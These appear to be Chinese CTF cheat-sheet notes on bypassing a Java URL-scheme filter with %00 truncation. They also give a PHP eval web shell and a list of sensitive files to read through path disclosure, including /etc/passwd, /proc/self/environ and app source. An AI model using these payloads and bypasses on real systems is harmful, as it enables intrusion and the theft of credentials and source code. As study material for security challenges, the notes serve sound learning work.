%00截断:
%00在urldecode后就是0x00,一些函数诸如preg_match遇到0x00会直接停止。
String tartget_url = req.getParameter("url");
String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
System.out.println(pri);
if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
System.out.println("no");
} else {
//如果第一个:前不是file|gopher|data,可以实现任意文件读取
System.out.println("yes");
}
}
/testURL?url=url:file:///flag # 常规绕过
/testURL?url=%00file:///flag # 抓包,%00截断
注意:get请求中url栏中会自动解码,post请求的话需要burp抓包然后手动改
php漏洞:
<?=eval($_GET{1});?> 可以用{}代替[]
一般网站目录:
/var/www/html/
文件路径:
java:
/WEB-INF/web.xml
python:
?pic=/etc/passwd
?pic=/proc/self/cmdline # 读取到当前工作目录:/app/app.py
?pic=/app/app.py # 读取源码
?pic=/proc/self/cwd/app/app.py # 也可以用cwd切换到当前工作目录
/proc/1/cmdline #读进程
/app/run.sh #读源码位置
/app/app.py #读源码
linux:
linux下的环境变量位于/proc/self/environ